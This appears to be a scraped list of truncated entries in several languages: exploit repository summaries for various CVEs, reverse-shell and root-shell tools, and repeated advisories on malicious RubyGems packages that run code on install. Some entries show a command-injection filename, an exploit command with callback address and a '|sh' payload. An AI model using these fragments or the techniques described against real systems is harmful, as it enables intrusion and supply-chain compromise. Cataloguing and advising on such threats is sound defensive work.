POC-CVE-2026-19681

CVE-2026-19681 — injection de commande dans le traitement de téléversement de fichiers authentifié Statut : CONFIRMÉ sur un lab 6.7.2-14.el9 2026-08-20. Nom de fichier temporaire p;sleep$IFS20;-EvvfJk via POST /rest/file/upload le préfixe de contexte porte les métacaractères, puis POST...

CVE-2026-4480

Exécution de l'exploit : python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh +...

RevShell

🔥 مشروع RevShell — شيل عكسي متقدم لنظام ويندوز ██▀███ ▓█████ ██▒ █▓ ██████ ██░ ██ ▓█████ ██▓ ██▓ ▓██ ▒ ██▒▓█ ▀ ▓██░ █▒ ▒██ ▒ ▓██░ ██▒ ▓█ ▀ ▓██▒ ▓██▒ ▓██ ░▄█ ▒▒███ ▓██ █▒░ ░ ▓██▄ ▒██▀▀██░ ▒███ ▒██░ ▒██░ ▒██▀▀█▄ ▒▓█ ▄ ▒██ █░░ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░ ░██▓ ▒██▒░▒████▒ ▒▀█░ ▒██████▒▒░▓█▒░██▓...

Codiad-CVE-2018-14009

Installer codiad @ git clone https://github.com/Codiad/Codiad.git Étapes de reproduction 1. Configurer un environnement vulnérable sur un serveur ubuntu avec Codiad 2.8.4 dernière version @ chmod o+w config.php @ chmod o+w workspace @ chmod o+w plugins @ chmod o+w themes @ chmod o+w data 2. @...

bludit-CVE-2019-17240

bludit-CVE-2019-17240 Contourner la connexion de mitigation de bludit et télécharger un fichier malveillant pour appeler un shell inversé...

MAL-2026-17581 Malicious code in bip39-wordlist-utils (RubyGems)

RubyGems runs this gem's native extension script ext/bip39-wordlist-utils/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over ...

MAL-2026-17585 Malicious code in bitcoij-ruby (RubyGems)

RubyGems runs this gem's native extension script ext/bitcoij-ruby/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30 minut...

Malicious code in bitcoij-ruby (RubyGems)

RubyGems runs this gem's native extension script ext/bitcoij-ruby/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30 minut...

Abyssal

🔥 Abyssal CVE-2026-24061 Telnet 취약점 스캐너 및 익스플로잇 심연으로부터, 우리는 떠오른다. 멀티스레드, 오탐 탐지, 성공 시 대화형 루트 셸. 👨‍💻 저자 소개 이 프로젝트는 네트워크 보안, 인프라 및 소프트웨어 개발 분야에서 수십 년간 실무 경험을 쌓아온 숙련된 IT 전문가가 만들었습니다. 55세인 저는 정규직, 프리랜서 또는 프로젝트 협력자로서 새로운 기회를 적극적으로 찾고 있습니다. 경험과 깊은 기술 지식, 그리고 실용적인 문제 해결 방식을 중요하게 여기신다면 연락해 주세요. 📫 전 세계 어디서든...

PinTheft-asm

pintheft-asm Réécriture de PinTheft-go en assembleur x86-64 pur parce que pourquoi pas. make ./pintheft Lance un shell root. La commande de restauration est affichée à la sortie. Pour plus de détails → PoC original...

Malicious code in etherdum.rb (RubyGems)

RubyGems runs this gem's native extension script ext/etherdum.rb/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30 minute...

MAL-2026-17591 Malicious code in crylto-toolbox (RubyGems)

RubyGems runs this gem's native extension script ext/crylto-toolbox/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in crylto-toolbox (RubyGems)

RubyGems runs this gem's native extension script ext/crylto-toolbox/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17600 Malicious code in etheremu.rb (RubyGems)

RubyGems runs this gem's native extension script ext/etheremu.rb/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30 minute...

CVE-2019-11447_reverse_shell_upload

CVE-2019-11447 CuteNews 2.1.2 Upload de Reverse Shell Une version légèrement modifiée du Mt-Code POC qui génère un reverse shell complet plutôt qu'un web shell. Cet exploit utilise le célèbre PHP Reverse Shell de PentestMonkey. Installation pip install -r requirements.txt Exemple d'utilisation :...

ZeroLogon-to-Shell

Это комбинация кода zerologontester.py и инструмента evil-winrm для получения шелла. Я просто добавил «os.system» для использования evil-winrm. Требования: Для получения NTLM-хэша администратора рекомендую использовать secretsdump инструмент из impacket И, конечно, вам нужно установить evil-winrm...

FEP3370-advanced-ethical-hacking

DynoRoot CVE-2018-1111 Projet final pour le cours Advanced Ethical Hacking à KTH, Stockholm Ce projet démontre une vulnérabilité connue des machines Fedora et RedHat liée à une implémentation côté client non sûre du protocole de configuration dynamique des hôtes DHCP. Un serveur DHCP malveillant...

Malicious code in lighthing-invoice (RubyGems)

RubyGems runs this gem's native extension script ext/lighthing-invoice/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17606 Malicious code in lighthing-invoice (RubyGems)

RubyGems runs this gem's native extension script ext/lighthing-invoice/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

CVE-2021-26828-Ultimate

ScadaFlare - CVE-2021-26828 Kit d'exploitation RCE authentifié Un exploit RCE modulaire post-authentification ciblant ScadaBR 1.1.0, amélioré pour les opérations d'équipe rouge. Fonctionnalités Télécharge un shell .jsp armé via viewedit.shtm Prend en charge les payloads Linux et Windows Support d...